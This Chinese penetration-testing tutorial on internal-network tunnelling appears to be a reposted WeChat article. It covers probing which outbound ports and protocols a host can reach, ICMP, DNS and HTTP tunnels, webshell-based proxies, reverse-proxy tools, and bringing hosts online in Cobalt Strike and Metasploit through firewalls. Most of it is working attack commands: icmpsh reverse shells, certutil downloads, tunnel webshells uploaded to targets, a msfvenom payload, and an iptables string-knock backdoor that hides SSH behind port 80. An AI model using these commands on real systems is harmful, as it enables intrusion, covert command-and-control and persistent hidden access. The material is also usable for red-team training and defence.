探测出网协议和端口
到底什么是不出网?
出网端口探测方法论
//将所有端口的流量都转发到 8000 端口
iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 8000
//查看 nat 表的规则
iptables -t nat -nvL
//清楚 nat 表所有规则
iptables -t nat -F
//备份 iptables 规则
iptables-save > /tmp/firewall.rules
//恢复 iptables 规则
iptables-restore < /tmp/firewall.rules
我们给主机配置出站规则,只允许8000-8004端口出网,其他端口阻止连接 使用任意的端口扫描工具对远程主机进行探测,发现成功探测出这5个端口 端口扫描工具
linux命令行扫描
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done
for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done
fscan masscan kscan 御剑tcp扫描等等看个人喜好 探测端口的范围可根据nmap常用端口来
grep -i "services=" foo.xml | sed -r 's/.*services="(.*)("/>)/1/g'
出网协议探测
ICMP协议 vps监听tcp流量 tcpdump icmp,目标主机Ping vps如果收到消息那么icmp协议出网 DNS协议 windows和linux命令不同,如果能解析域名说明dns出网
Windows:nslookup、ping
Linux:nslookup、dig、ping
HTTP协议 只要能访问该地址的命令都算
linux:wget curl
windows:
certutil -urlcache -split -f http://192.168.10.13/1
//192.168.10.13/1 c:1 :
ICMP协议出网场景利用
如果HTTP隧道,DNS隧道等方式都失败了,但是Ping命令好用,就可以尝试ICMP隧道 使用 Icmpsh 进行命令控制
Icmpsh地址: git clone https://github.com/inquisb/icmpsh.git 只能用于windows的shell反弹 使用vps关闭icmp回复 sysctl -w net.ipv4.icmp_echo_ignore_all=1否则反弹回来的Shell会一直刷新 在vps执行之前要安装impacket库这里不在陈述,执行 python2 icmpsh_m.py vps网卡eth0的ip 目标主机出网ip 在目标主机执行 icmpsh.exe -t vps公网ip -d 500 -b 30 -s 128
-t:指定远程主机 ip
-d:请求之间的延迟,单位为毫秒,默认 200
-b:退出前的最大空格数(未应答的 icmp 请求)
-s:最大数据缓冲区的字节大小(默认值为 64 个字节)
成功反弹交互式shell
使用wireshark也可以发现两者之间通信全部用的ICMP包 使用PingTunnel搭建隧道
pingtunnel 是一款把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具 开启正向socks代理
注意这里是正向socks,服务端指的是目标主机,客户端指的是vps 关闭 icmp 回复
sysctl -w net.ipv4.icmp_echo_ignore_all=1
服务端开启监听
pingtunnel.exe -type server -noprint 1 -nolog 1
客户端操作
./pingtunnel -type client -l :1080 -s 192.168.3.132 -sock5 1 -noprint 1 -nolog 1
进行端口转发
服务端开启监听
pingtunnel.exe -type server -noprint 1 -nolog 1
客户端将服务端8000端口转发到本地8080端口
./pingtunnel -type client -l :8080 -s 192.168.3.132 -t 192.168.3.132:80 -tcp 1 -noprint 1 -nolog 1
访问本地8080端口相当于访问8000端口
当然-t参数不是只允许填服务端的ip,也可以是A通过B转发到C B是服务端 A是客户端 C是-t的参数 ICMP 上线 CobaltStrike
场景192.168.3.1与192.168.3.132为同一内网 192.168.3.128为cs,出站只能用icmp,我们要让192.168.3.132上线只需要让其流量发送到192.168.3.1,在又其转发icmp包到cs主机即可让192.168.3.132 的流量发送到192.168.3.1,然后再通过icmp端口转发转发给cs就行了,配置cs监听器,注意最下方的监听端口需要设置,网上很多都是设置两个监听器,我这样配置一个就行了,6666是抓发到3.1的,5544是icmp转发到cs的
cs开启监听./pingtunnel -type server -noprint 1 -nolog 1 192.168.3.1 开启转发 pingtunnel -type client -l :6666 -s 192.168.3.128 -t 192.168.3.128:5544 -tcp 1 -noprint 1 -nolog 1 生成stageless木马,在3.132主机运行成功上线cs 可以看到内网主机之间的通信是tcp 与cs服务器的通信为Icmp
DNS出网场景利用
DNS协议表面是解析域名返回ip,实际上可以返回任何数据,一台主机看似是不出网了,我们就可以利用它的DNS服务器和主机进行交互,将其他协议封装在DNS协议进行传输 CobaltStrike 中 DNS Beacon 的使用
准备工作:一台公网C2服务器,一个自己的域名 在进行 DNS 查询时,如果查询的域名不在 DNS 服务器本机缓存中, 就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依 靠 DNS 协议即可进行数据包的交互。从 DNS 协议的角度来看,这样的操作只是在一次次 地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个 IP 地址,而事实上返回的可以是任意的字符串,包括加密的 C&C 指令。具体实现就是利用NS记录把dns服务器定向为我们自己的服务器,这样就可以自定义返回内容 小tips: 网上的做法就是设置一个A记录指向自己的ip,然后ns记录指向自己的域名 然后配置一个dns监听器,然后生成stagerless的马然后上线 其实这种做法有点多此一举,A记录域名那里完全可以置空,照样可以上线,如果CS默认不让为空,你可以把ip写个1或者任意ip试一下照样能上线,同理关于HTTP的马以及其他类型的马,只要是生成stagerless的马,第二个ip都可以置空,因为第一个ip是指定马的反弹ip,第二个Ip是为了给stager的马接收payload用,而stagerless的马是完整了不需要再次通信接收paylpad 默认情况下上线之后主机是黑色的,需要执行以下两条命令显示出主机信息 利用iodine搭建隧道
项目地址:GitHub – yarrick/iodine: Official git repo for iodine dns tunnel 下载到linux之后 make && make install进行安装即可 执行以下命令启动服务端
iodined -f -c -P helloworld 192.168.10.1 ns.kaeiy.xyz -DD
-f:在前台运行 -c:禁止检查所有传入请求的客户端 IP 地址 -P:指定密码 -D:指定调试级别。-DD 指第二级,D 的数量随等级增加 这里的 192.168.10.1 是自定义的局域网虚拟 IP 地址
配置完成之后访问如下网站进行测试 [https://code.kryo.se/iodine/check-it/](https://code.kryo.se/iodine/check-it/) 服务端启动成功之后发现我们电脑上多了一块网卡 客户端连接服务端
iodine.exe -f -P helloworld -M 200 ns.kaeiy.xyz
发现客户端也多了一块网卡 此时服务端可ping通客户端 curl也完全正常
目标不出网场景之HTTP隧道
当我们拿到shell,目标又完全不出网,就只能用HTTP隧道 reGeorg
项目地址:GitHub – sensepost/reGeorg: The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn. reGeorg是采用python2开发的http正向代理工具 上传代理脚本到目标网站,使用执行以下命令连接即可
python2 reGeorgSocksProxy.py -l 0.0.0.0 -p 1080 -u http://192.168.3.132/tunnel.nosocket.php
使用代理工具连接服务器即可 Neo-reGeorg
是reGrorg的升级版,具有传输流量加密,支持python2/3等许多优点 项目地址:GitHub – L-codes/Neo-reGeorg: Neo-reGeorg is a project that seeks to aggressively refactor reGeorg 使用命令生成我们自定义key的脚本
python3 neoreg.py generate -k admin12345678
将脚本放到目标网站下,使用命令进行连接
python3 neoreg.py -l 0.0.0.0 -p 1080 -k admin12345678 -u http://192.168.3.132/tunnel.php
自定义访问页面
自己先在脚本目录下随便创建一个html文件 生成脚本执行以下命令
python3 neoreg.py generate -k admin --file test.html --httpcode 200
访问脚本就会出现代码雨
ABPTTS
一款基于 SSL 加密的 HTTP 端口转发工具,全程通信数据加密,比reGerog都要稳定。使用 python2 编写,但是该工具只支持 aspx 和jsp 脚本的网站 项目地址:GitHub – nccgroup/ABPTTS: TCP tunneling over HTTP/HTTPS for web application servers 需要提前安装两个库,如果在kali下安装用管理员安装
python2 -m pip install pycryptodemo
python2 -m pip install httplib2
执行以下命令生成webshell
python2 abpttsfactory.py -o webshell
将abptts.jsp文件复制到网站目录下进行访问
执行以下命令将远程3389端口映射到本地
python2 abpttsclient.py -c webshell/config.txt -u http://192.168.3.132:8080/abptts.jsp -f 127.0.0.1:3389/192.168.3.132:3389 --unsafetls
mstsc连接本地127.0.0.1即可远程连接主机
reDuh
项目地址:GitHub – sensepost/reDuh: Create a TCP circuit through validly formed HTTP requests 将对应的脚本上传到网站目录,访问如下 使用 reDuhClient.jar 连接脚本地址
java -jar reDuhClient.jar http://192.168.3.132:8080/reDuh.jsp
他在本地开放一个1010端口,我们使用nc进行连接
nc -vv 127.0.0.1 1010
将本地的6666端口映射到远程的3389端口
[createTunnel]6666:127.0.0.1:3389
成功连接 Tunna
Tunna是2014年出品的一款基于HTTP隧道工具,可对任何通过 HTTP 的 TCP 通信进行包装和隧道传输 项目地址:GitHub – SECFORCE/Tunna: Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP. It can be used to bypass network restrictions in fully firewalled environments. 将脚本上传到网站目录,访问结果如下 将远程的3389转发到本地的1234端口
python proxy.py -u http://192.168.3.132:8080/conn.jsp -l 1234 -r 3389 -s -v
该软件不稳定,慎用
suo5
suo5 是一个全新的 HTTP 代理隧道,基于 HTTP/1.1 的 Chunked-Encoding 构建。相比 Neo-reGeorg 等传统隧道工具, suo5 的性能可以达到其数十倍。目前仅支持jsp 将脚本上传到对应的网站目录,访问如下 使用客户端连接生成启动socks
suo5-windows-amd64.exe -t http://192.168.3.132:8080/suo5.jsp -l 0.0.0.0:7788 --auth test:test123
配置好代理,成功连接 上线MSF与CS
上线MSF
使用abptts将远程的8888端口映射到vps的7777端口
python2 abpttsclient.py -c webshell/config.txt -u http://192.168.3.132:8080/abptts.jsp -f 127.0.0.1:7777/127.0.0.1:888
kali生成正向木马,让端口设置为8888,这样msf访问7777会通过HTTP隧道转发到8888上从而绕过防火墙
msfvenom -p windows/x64/meterpreter/bind_tcp lport=8888 -f exe >shell.exe
MSF配置好exp
成功上线 上线msf写完之后我才意识到根本不用这么麻烦,越想越不对劲,他是不出网不是不入网,直接正向代理连过去就行了,也不需要上面的端口转发。。。。。只能说作为一种思路参考吧。。。。 上线cs
项目地址:GitHub – FunnyWolf/pystinger: Bypass firewall for traffic forwarding using webshell 一款使用webshell进行流量转发的出网工具 使用该项目可以上线cs
-
proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8 -
将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端
-
vps执行./stinger_client -w
-
如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
-
此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理 -
此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020
-
proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8 -
将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端
-
stinger_client命令行执行./stinger_client -w
-
如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
-
cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1 -
生成payload,上传到主机运行后即可上线
目标出网场景下的利用
FRP
FRP进行反向socks代理
[common]
bind_addr = 0.0.0.0
bind_port = 7000 //客户端反连的端口
dashboard_addr = 0.0.0.0
dashboard_port = 7001 //开启仪表盘的端口
dashboard_user = root //仪表盘登录账号
dashboard_pwd = root //仪表盘登录密码
token = 0EDgBme3IdfeJSTd //客户端反连验证token
检查配置文件是否正确 ./frps verify -c ./frps.ini 启动服务端 ./frps -c ./frps.ini
[common]
server_addr = 192.168.3.128 //服务端ip
server_port = 7000 //服务端端口
token = 0EDgBme3IdfeJSTd //认证token
pool_count = 5
health_check_type = tcp
health_check_interval_s = 100
[test] //服务名称,可自定义
remote_port = 12345 //开启服务端12345当做socks端口
plugin = socks5 //使用socks5代理模块
use_encryption = true //加密流量
use_compression = true //压缩流量
plugin_user = admin //socks连接账号
plugin_passwd = 123456 //socks连接密码
启动客户端 ./frpc -c ./frpc.ini
使用FRP进行端口映射
[common]
bind_addr = 0.0.0.0
bind_port = 7000
dashboard_addr = 0.0.0.0
dashboard_port = 7001
dashboard_user = root
dashboard_pwd = root
token = 0EDgBme3IdfeJSTd
客户端 frpc.ini 将本地的3389端口映射到远程服务器的7788端口 [common]
server_addr = 192.168.3.128
server_port = 7000
token = 0EDgBme3IdfeJSTd
[RDP]
local_ip = 127.0.0.1
local_port = 3389
remote_port = 7788
mstsc连接服务器7788端口 成功登录 远程映射WEB端口 服务端不变,客户端配置如下 [common]
server_addr = 192.168.3.128
server_port = 7000
token = 0EDgBme3IdfeJSTd
[HTTP]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 7788
映射完成之后访问服务端7788端口 同理可以完成其他对端口的映射 NPS
下载地址: https://github.com/ehang-io/nps/releases NPS 是一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp 流量转发,可支持任何 tcp、udp 上层协议,此外还支持内网http代理、内网 socks5 代理、p2p 等,并带有功能强大的 web 管理端。下载系统对应版本后 linux ./nps install windows nps.exe install 安装nps 默认配置文件在 nps/conf/nps.conf 记录了nps的监听端口,账号密码等 nps默认监听端口如下,如果端口有冲突记得修改端口 http_proxy_port:80
https_proxy_port:443
bridge_port :8024
web_port :8080
nps常用命令 nps start nps stop nps -version 默认登录端口是 8080 账号 admin 密码 123 新增nps客户端 使用客户端连接,客户端只需要单独的exe文件,压缩包里的配置文件可以丢掉
npc.exe -server=192.168.3.128:8024 -vkey=mxkt13ximrr7o3d2
连接成功之后发现仪表盘里客户端已经显示为在线,这时候我们就可以对客户端做操作
搭建nps反向socks代理
在socks代理新建socks代理,填写客户端id和服务器开放的socks端口即可 使用proxifier进行连接,用户名和密码是创建客户端时自定义的用户名 搭建tcp隧道进行端口映射
如果该端口只对内网开放,我们就可以把端口映射出来,当然也可以填写内网的其他主机,看自己的需求 连接成功,其他端口同理 搭建UDP隧道进行端口映射
该场景使用不多,但是和TCP端口映射一个原理,比如53端口是DNS服务器端口,DNS使用UDP协议 我们可以把内网的DNS服务器的IP映射到公网服务器上的自定义端口,这样把DNS服务器设置为公网的服务器就可以使用内网的DNS服务器进行解析 搭建HTTP正向代理
我们使用公网的8888端口作为HTTP代理访问内网网站 使用proxifier设置HTTP代理或者直接用浏览器插件设置都可以 这时访问内网网站的地址,验证客户端账号密码 访问成功 搭建SSH私密代理
其实就是加密的TCP隧道,为了防止其他人使用 配置好目标机器和秘钥 点击加号会出现远程端命令,这个命令例如A想通过VPS连接内网的B,那么这条命令是A来执行 执行之后会显示将端口绑定在本地的2000端口上 mstsc访问本地2000端口即可 如果想自定义本地绑定端口可以用以下命令
npc -server=192.168.3.128:8024 -vkey=mxkt13ximrr7o3d2 -type=tcp -password=123456 -local_type=secret -local_port=8888
EW
ew 全称是 EarchWorm,是一套轻量便携且功能强大的网络穿透工具,基于标准 C 开发,具有 socks5 代理、端口转发和端口映射三大功能,可在复杂网络环境下 完成网络穿透,且支持全平台(Windows/Linux/Mac)。但是该应用官网现已下架,但在github仍可搜到。这个工具说实话命令晦涩难懂,实际中对大型网络的渗透没必要用,有其他好用的代理软件,并且已经被杀毒软件标记,把最基本的正反向代理学会即可,其他命令没必要深究。 EW正向代理
Web服务器的设置 如果是Linux系统 ./ew_for_linux64 -s ssocksd -l 1080 #监听本地的1080端口 如果是Windows系统 ew_for_Win.exe -s ssocksd -l 1080 #监听本地的1080端口 主机的设置 如果是Linux系统,配置proxychains代理链的配置文件,将代理设置成 100.100.10.12的1080端口:socks5 100.100.10.12 1080 然后命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19 如果是Windows系统,直接浏览器中设置代理为 100.100.10.12的1080端口,或者利用 Proxifier 、sockscap64 设置全局代理 EW反向代理
Web服务器的设置 Linux系统:./ew_for_linux64 -s rssocks -d 100.100.10.13 -e 8888 #将本机的流量全部转发到100.100.10.13的8888端口 Windows系统:ew_for_Win.exe -s rssocks -d 100.100.10.13 -e 8888 #将本机的流量全部转发到100.100.10.13的8888端口 主机的设置 如果是Linux系统:./ew_for_linux64 -s rcsocks -l 1080 -e 8888 #将本机的8888端口的流量都转发给1080端口,这里8888端口只是用于传输流量 然后配置proxychains代理链的配置文件,将代理设置成 127.0.0.1的1080端口:socks5 127.0.0.1 1080 然后命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19 如果是Windows系统 ew_for_Win.exe -s rcsocks -l 1080 -e 8888 #将本机的8888端口的流量都转发给1080端口,这里8888端口只是用于传输流量 然后浏览器中设置代理为 100.100.10.12的1080端口,或者利用 Proxifier 、sockscap64 设置全局代理 IOX
端口转发 & 内网代理工具,功能类似于lcx/ew,但是比它们更好 为什么写iox?
lcx和ew是很优秀的工具,但还可以提高 在最初使用它们的很长一段时间里,我都记不住那些复杂的命令行参数,诸如tran, slave, rcsocks, sssocks。工具的工作模式很清晰,明明可以用简单的参数表示,为什么他们要设计成这样(特别是ew的-l -d -e -f -g -h) 除此之外,我认为网络编程的逻辑可以优化 举个栗子,当运行lcx -listen 8888 9999命令时,客户端必须先连:8888,再连:9999,实际上这两个端口是平等的,在iox里则没有这个限制。当运行lcx -slave 1.1.1.1 8888 1.1.1.1 9999命令时,lcx会串行的连接两个主机,但是并发连接两个主机会更高效,毕竟是纯I/O操作,iox就是这样做的 更进一步,iox提供了流量加密功能 (当目标有IDS时会很有用)。实际上,你可以直接将iox当做一个简易的ShadowSocks使用 iox还提供了UDP流量转发的功能 当然,因为iox是用Go写的,所以静态连接的程序有一点大,原程序有2.2MB(UPX压缩后800KB) 特性
-
流量加密(可选) -
友好的命令行参数 -
逻辑优化 -
UDP流量转发 -
反向代理模式中使用TCP多路复用
工作模式
fwd
./iox fwd -l 8888 -l 9999
监听本地 8888 端口和 9999 端口,将两个连接间的流量进行转发,流量加密
./iox fwd -l *8888 -l *9999 -k 656565
监听0.0.0.0:8888,把流量转发到1.1.1.1:9999
./iox fwd -l 8888 -r 1.1.1.1:9999
连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999
利用iox进行端口映射
./iox fwd -l *4455 -l 3389 -k 656565
内网主机进行端口转发
iox.exe fwd -r 192.168.3.131:3389 -r *192.168.3.128:8888 -k 656565
成功连接
proxy
./iox proxy -l *9999 -l *1080 -k 656565
内网机器执行
iox.exe proxy -r *192.168.3.128:9999 -k 656565
Venom
一级代理
二级代理
lforward 127.0.0.1 3389 3389
rforward 将node节点转发到vps 3389
rforward 127.0.0.1 3389 3389
以上两个端口转发内网其他地址也可以 学习了二级代理后多级代理是一个原理不在赘述
rakshasa
https://github.com/Mob2003/rakshasa/blob/main/readme/rakshasa%E9%A1%B9%E7%9B%AE%E8%AE%BE%E8%AE%A1.md
Stowaway
一级代理
windows_x64_admin.exe -l 6666
内网主机连接vps,每五秒重发一次
.windows_x64_agent.exe -c 192.168.3.1:6666 --reconnect 5
二级代理
./linux_x64_agent -c 192.168.3.131:8888
MSF与CS隧道搭建与端口转发
run post/multi/manage/autoroute OPTION=value
route print
se auxiliary/server/socks_proxy
set version 4a
set SRVHOST 0.0.0.0
set SRVPORT 1080
run
将目标主机的3389转发到本地的3389,需要先 load stdapi
portfwd add -l 3389 -r 192.168.3.131 -p 3389
rportfwd 3333 127.0.0.1 889
端口复用
根据源地址做端口复用
iptables -t nat -A PREROUTING -p tcp -s 192.168.3.1 --dport 80 -j REDIRECT --to-port 22
查看nat表规则
iptables -t nat -nvL
清除nat表规则
iptables -t nat -F
此时已经添加成功
利用tcp协议做遥控开关
iptables -t nat -N LETMEIN2
创建端口复用规则,将流量转发至 22 端
iptables -t nat -A LETMEIN2 -p tcp -j REDIRECT --to-port 22
开启开关,如果接收到一个含有 threathuntercoming 的 TCP 包,则将来源 IP 添加到 加为 letmein2 的列表中
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name LETMEIN2 --rsource -j ACCEPT
关闭开关,如果接收到一个含有 threathunterleaving 的 TCP 包,则将来源 IP 从 letmein2 的列表中移出
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name LETMEIN2 --remove -j ACCEPT
如果发现 SYN 包的来源 IP 处于 letmein2 列表中,将跳转到 LETMEIN2 链进行处 理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name LETMEIN2 --rsource -j LETMEIN2
echo threathuntercoming | socat - tcp:192.168.3.128:80
关闭复用,关闭后,80 恢复正常
echo threathunterleaving | socat - tcp:192.168.3.128:80
总结
往期推荐
原文始发于微信公众号(SecIN技术平台):原创 | 内网安全之隧道代理